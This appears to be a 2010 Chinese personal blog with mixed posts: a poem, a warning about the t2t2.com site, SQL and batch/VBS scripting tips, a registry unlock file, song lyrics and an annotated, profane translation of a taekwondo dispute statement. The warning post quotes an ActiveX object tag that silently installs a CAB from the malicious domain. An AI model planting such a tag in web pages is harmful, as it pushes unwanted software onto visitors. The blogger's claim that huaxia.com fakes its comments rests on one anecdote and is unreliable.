2010/12/26

不完美

不完 也是一種美
 
因為不完美 才能追求完美
因為不完美 才能有進步的空間
因為不完美 才更能容忍你的不完美
 
天 不是永遠這麼嵐
雲 不是永遠這麼白
風 不是永遠這麼輕
陽光 不是永遠這般熾熱
月亮 不是永遠這麼皎潔明亮
人類 也不是永遠的一成不變
地殼 也是每天都在改變 在他看似不變的外貌下
天使 也是偶爾會有憂鬱 潛藏在美麗的笑容之下

2010/12/17

病毒網站 t2t2.com

防毒程式攔截到一個網頁
追蹤到最後 出現這段 code, 會要求 IE 安裝一些東西...

<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>


其中經過:
ttp://iebar.t2t2.com/test1.htm

ttp://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24

ttp://stat.t2t2.com/log/log1.asp?default&user=xxx


原來是 網站 include 這 JavaScript 開始 ttp://stat.t2t2.com/stat.js

始作俑者 應該是 t2t2 這網站?

上 http://www.prchecker.info/check_page_rank.php 檢查 www.t2t2.com
PR竟然還有 4... ~_~"
這.....
因為很多人在幹樵這網站的關係?

google 的診斷:

http://www.google.com/safebrowsing/diagnostic?site=iebar.t2t2.com&hl=zh-TW


應該請MIS直接封殺這 Domain 比較安全!

2010/12/14

[BUG] MySQL Function FIND_IN_SET

當 有兩個 Table:

Table A
item(char)relation(char)
A1,2,3
B2,3,4
C1,3,5
D1,2,3,4
E5,6

Table B
relay(int)stuff(int)
11
22
34
48
516
632
101048576

若希望他能變成:
Select A.item, Sum(B.stuff) as Result  from A,B

Result
itemResult(note)
A71,2,3 => SUM(1,2,4)
B142,3,4 =>SUM(2,4,8)
C211,3,5 =>SUM(1,4,16)
D151,2,3,4 =>SUM(1,2,4,8)
E485,6 =>SUM(16,32)

結果會不如預期
需要使用 FIND_IN_SET Func. 去做判斷:
SELECT A.item, sum( B.stuff) AS Result  FROM A,B
WHERE  FIND_IN_SET( B.relay, A.relation)
GROUP BY A.item  ORDER BY A.item

結果看似滿意!

......... BUT......

2010/12/06

火...新聞

AKS: 晦氣死 BALA: 芭樂 機車 CD: 西低 是的 DT: 豬頭 EDD: 一滴滴 FBI: 粉悲哀 GKTT: 一元錘錘 HGW: 好狗運 IJL: 欠K JOLIN: 好冷 KO: 打敗 LAG: 消息不靈通 MG: 口賣假仙 NOQ: 不謝不客氣 ORZ: 跪拜姿 PMP: 拍馬屁 QK: 休息 RDIA: 阿弟仔 SULA: 卒仔 TAXI: 太可惜 UKLM: 幼齒辣妹 VOV: 勝利姿勢 WHOSAY: 唬誰 XD: 笑翻了 YOYOYO: 假ABC發語詞 ZZZZZ: 睡
02: 抗議 (?) 1314: 醫生一是 2266: 零零落落 386: 三八啦 4478: 散散去吧 520: 我愛你 6868: 溜吧溜吧 7758: 親親我吧 886: 拜拜囉 909090: GOGOGO

regedit 無法使用 register 被鎖 解法

1. 將 C:\\Windows\regedit.exe 改名後執行

2. 用記事簿 寫ㄧ檔案: unlock.reg

 Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000000

[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools]

[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000000

[-HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools]

[-HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD]

[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr]

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr]

[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun] 
存檔後執行

3.  regedit 不能執行,就改執行 regedt32

4.  重灌 OS .....

Last Christmas

1984 Last Christmas - Wham!(1981~1986)

 
Last Christmas I gave you my heart 去年的聖誕節,我把心給了你
But the very next day you gave it away 但隔天你就將它丟棄This year to save me from tears 今年,我在淚水中力圖振作 I'll give it to someone special 我會把心交給一個特別的人
Once bitten and twice shy 曾經受傷,不免心存畏懼I keep my distance 我保持著距離But you still catch my eye 但你依然吸引著我的目光Tell me baby 告訴我,寶貝
Do you recognize me 你認出我了嗎Well it's been a year 已經過了一年It doesn't surprise me 我並不驚訝
(Happy Christmas) (聖誕快樂)
I wrapped it up and sent it 我包裝好後將它送出With a note saying "I love you" 附上字條,寫著"我愛你"I meant it 我是認真的Now I know what a fool I've been 現在我才知道當初真傻But if you kissed me now 但如果你現在吻我I know you'd fool me again 你可以再次愚弄我
A crowded room 擁擠的房間裡Friends with tired eyes 朋友們眼神疲憊I'm hiding from you and your soul of ice 我想避開你和你冰冷的靈魂My god I thought you were someone to rely on me 老天,我曾以為你是多麼倚賴我I guess I was a shoulder to cry on 我以為我就是你可以靠著哭泣的肩膀
A face on a lover with a fire in his heart 有著火熱的心的愛人臉龐A man under cover but you tore me apart 刻意掩飾,你卻將我拆穿Now I've found a real love you'll never fool me again 如今我已找到真愛,你再也不能愚弄我A face on a lover with a fire in his heart 有著火熱的心的愛人臉龐A man under cover but you tore him apart 刻意掩飾,你卻將我拆穿Maybe next year I'll give it to someone 也許明年我會把心交給一個人I'll give it to someone special 一個特別的人

 


WHAM Last Christmas- Karaoke version



Wham Style



這應該不是很歡樂的一首歌
由 Ashley Tisdale (w/ Lyrics) 詮釋起來 卻很歡樂





不懂日文,但是 這三個日本小妮 卻比Ashley Tisdale有 味道
2008年 ,Foxxi misQ  Last Christmas:





哀傷

batch file + VBS 刪除 目錄下 五天以前的所有檔案

batch file + VBS 刪除 目錄下 五天以前的所有檔案
用 VBS 找出 五天前的日期, 並輸出 yyyymmdd 格式
用 batch file 找出目錄下 所有檔案的日期 並與 VBS輸出的日期做比較
預設 5日, 可另下參數更改日期

<file 1: 5day.vbs 找出 五日前的日期>
days = 5 '// 5 days ago
Set ArgObj = WScript.Arguments
if (ArgObj.Count>0) then days = ArgObj(0)
x=DateAdd("d",-days,date)
'//x="2009/9/7"
'//OriginalLocale = GetLocale
'//WScript.StdOut.Write DateAdd("d",-60,date)
'//WScript.Echo FormatDateTime(x,"%Y/%m/%d")
WScript.Echo year(x) & "/" & right("0" & month(x),2) & "/" & right("0" & day(x),2)


<file 2: 5day.bat 刪除 目錄下五日前的所有檔案>
@echo off
echo off
rem 2009/12/10
rem Delete files in PATH1 & PATH2 for 5 days ago
set days=5
set TMP_PATH=\_DEL\
set PATH1=c:\x\
rem set PATH2=c:\x2\
cd %PATH1%
del /F/S/Q %TMP_PATH%
rmdir %TMP_PATH%
mkdir %TMP_PATH%
if not "c%1"=="c" set days=%1
:start
FOR /f %%x in ('C:\windows\system32\cscript.exe /Nologo 5day.vbs %days%') do for %%y in (%PATH1%\*.*) do if %%~ty LSS %%x (echo %%y
move "%%y" %TMP_PATH%)
if not "c%PATH2%"=="c" FOR /f %%x in ('C:\windows\system32\cscript.exe /Nologo 5day.vbs %days%') do for %%y in (%PATH2%\*.*) do if %%~ty LSS %%x (echo "%%y"
move "%%y" %TMP_PATH%)
set PATH1=
set PATH2=
set TMP_PATH=


XP後的 cmd 支援 FOR /f 用法,
先將 vbs 輸出的 五日前的日期 儲存在 %x 變數中,
再多用一個 %y 去抓取該目錄下所有檔案,
並用 %~ty 抓出該檔案時間,
用 LSS 比較'數字'大小,來決定刪除與否!

2010/12/03

作假的華夏經緯網 huaxia.com

華夏經緯
華夏經緯網

在該網站上按下 查看评论
使用匿名留言後,過一小時 再回來 refresh 查看评论
會看到 之前留言的內容都消失無蹤。

所以! 發表評論功能是作假的?
真不愧是作假大本營

[翻譯] 中華台北-驚人的騙術 (Shocking Act of Deception by Chinese Taipei )

[翻譯] 中華台北令人震驚的欺騙行為 (Shocking Act of Deception by Chinese Taipei )

亞洲跆拳道聯盟的狗屁聲明,這篇沒拿下來以前,事件絕不能算完,幹。這種感覺我不會用國語表達,閩南語的「乎看衰洨」才夠。
21日補一句:你有聽過公開打臉私下道歉嗎?罵人用公告的,道歉也應該要公告吧!


雖然懷著深深的幹意,以下的翻譯盡量做到信與達,雅是雅不起來的。


(In case you can't read Chinese, I mean THE FOLLOWING STATEMENT IS BULLSHIT.)

In an amazing turn of events a Chinese Taipei player tried to pull a fast one over the taekwondo world
驚人的事件:一位中華台北選手試圖欺騙跆拳道世界


The first day of the Taekwondo Championship at the 16th Asian Games started with a storm that had the capabilities of turning into a hurricane but fortunately was defused with a timely and prudent intervention of the taekwondo officials and the championship was able to weather the storm and pass through it safely.
第十六屆亞運跆拳道錦標賽首日,始於一場可能轉為狂風巨浪的風雨;幸好藉由跆拳道官方即時且謹慎地介入,解除了這次危機,讓錦標賽能夠平安地度過這場風雨。

Match No. 2108 in the Under 49 Kgs in the Female division had YANG Shu Chun from Chinese Taipei playing against VUThi Hau from Vietnam.
編號第 2108 號賽事,女子四十九公斤量級的比賽,由中華台北的楊淑君對上越南的武氏厚。

The match started with everything seemingly as normal as it should in the first 45 seconds of the first round until the engineer from Manufacturer of the Protective Scoring System (PSS), LaJust, saw something unusual about the way the Chinese Taipei player was scoring and the look of her socks.
這場賽事開始後,第一回合前四十五秒的一切,看起來都照常進行;直到護具計分系統製造商 LaJust 的工程師發覺:這位中華台北選手的得分方式、以及她襪子的外觀有些異常。

At this point he asked the center referee to stop the match to check the special socks that are worn by all the players when using the electronic system.
此時,該工程師要求主審裁判停止比賽進行,以檢查選手們使用該(計分用)電子系統時穿的特殊襪子。

As requested by the engineer, the referee stopped the match to check the player's socks when he noticed that the Chinese Taipei player had illegally added 2 extra sensors to the heal of her socks.
主審裁判同意該工程師的要求,停止比賽進行,並檢查那一位選手(譯註:既然原文是 player's 而非 players',就只有「一位」選手被檢查)的襪子;此時,主審裁判留意到這位中華台北選手,非法地在襪子後跟額外添加兩片感應器

As stipulated in the WTF Competition Rules & Regulations he was obliged to stop the match and declare the player from the Chinese Taipei as the loser by "illegal manipulation of the PSS System".
依據世界跆拳道聯盟的競賽規則,主審裁判必須停止比賽進行,並以「非法操控護具得分系統」為理由,宣判該中華台北的宣手為敗方。

This brought on a fierce protest by the Chinese Taipei coaches and head of the team who were claiming they were innocent and the player refused to leave the court while the Chinese Taipei team representatives filed an official protest with the Competition Supervisory Board (CSB).
此判決引發了中華台北教練團的激烈抗議,領隊也主張他們是清白的;該選手拒絕離開賽場的同時,中華台北代表隊向技術審查委員(CSB)提出了正式抗議。

Therefore the WTF Technical Delegate from China and the CSB members from Iran, Singapore, Philippines and Korea along with ATU President, WTF Secretary General, ATU Secretary General and the Chairman of the Referee Committee as observers then quickly held a meeting to make an evaluation of the evidence and the protest.
因此,中國籍 WTF 技術代表、伊朗、新加坡、菲律賓及南韓的技術審查委員、亞洲跆拳道聯盟主席、世界跆拳道聯盟秘書長、亞洲跆拳道聯盟秘書長與大會裁判長,以比賽觀察員的身分,迅速地召開一場會議,以評估證據及該抗議。

After a lengthy review and assessment of the evidence and talking with the LaJust engineer, the center referee in the match and receiving their signed affidavit of the incident the illegal act committed by the Chinese Taipei they gave a chance to the President of the Chinese Taipei Taekwondo Associations and Head of the Team to present their side of this reprehensible episode of manipulation of the Rules & Regulations.
經過長時間的證據審查評估,且與 LaJust 工程師、該賽事的主審裁判討論,取得他們對本事件「中華台北犯下的違規行為」事發經過的具名宣示書以後,他們(上一段那一大群人)給了中華台北跆拳道協會主席及中華台北隊領隊一個機會,來解釋本次(中華台北隊)「應予譴責的違規事件」。

After listening to the Chinese Taipei officials and taking into consideration that this act may have been the work of a few and the rights of other athletes from Chinese Taipei team, the WTF appointed Technical Delegate and the Competition Supervisory Board decided to only ban the player and the 2 coach involved and not the whole Chinese Taipei team from the remaining of the championship and make the following recommendation to the Asian Taekwondo Union:
聽取中華台北隊官方的說法之後,考慮到這只是少數人的行為,也考慮其餘中華台北隊選手的權利,由世界跆拳道聯盟提名的技術代表與技術審查委員決定:只有該選手與她的兩位教練,禁止於本次錦標賽的剩餘賽程比賽,(懲罰)不及於中華台北代表團;並決定向亞洲跆拳道聯盟提出以下建議:

- The Chinese Taipei player, coaches to be banned until their case is heard by the World Taekwondo Federation Ethics Committee.
本事件交由世界跆拳道聯盟紀律委員會審查之前,該中華台北選手及兩位教練將被禁賽

- The Chinese Taipei Taekwondo Association and its officials to be investigated further by the WTF Ethics Committee and the proper punishment be handed down for the incident to stop any future attempts to manipulate the WTF Competition Rules & Regulations.
中華台北跆拳道協會及相關官員,將受到世界跆拳道協會紀律委員會更進一步的調查。本事件會有適當的懲處,以遏阻未來任何違反世界跆拳道協會競賽規則的行為。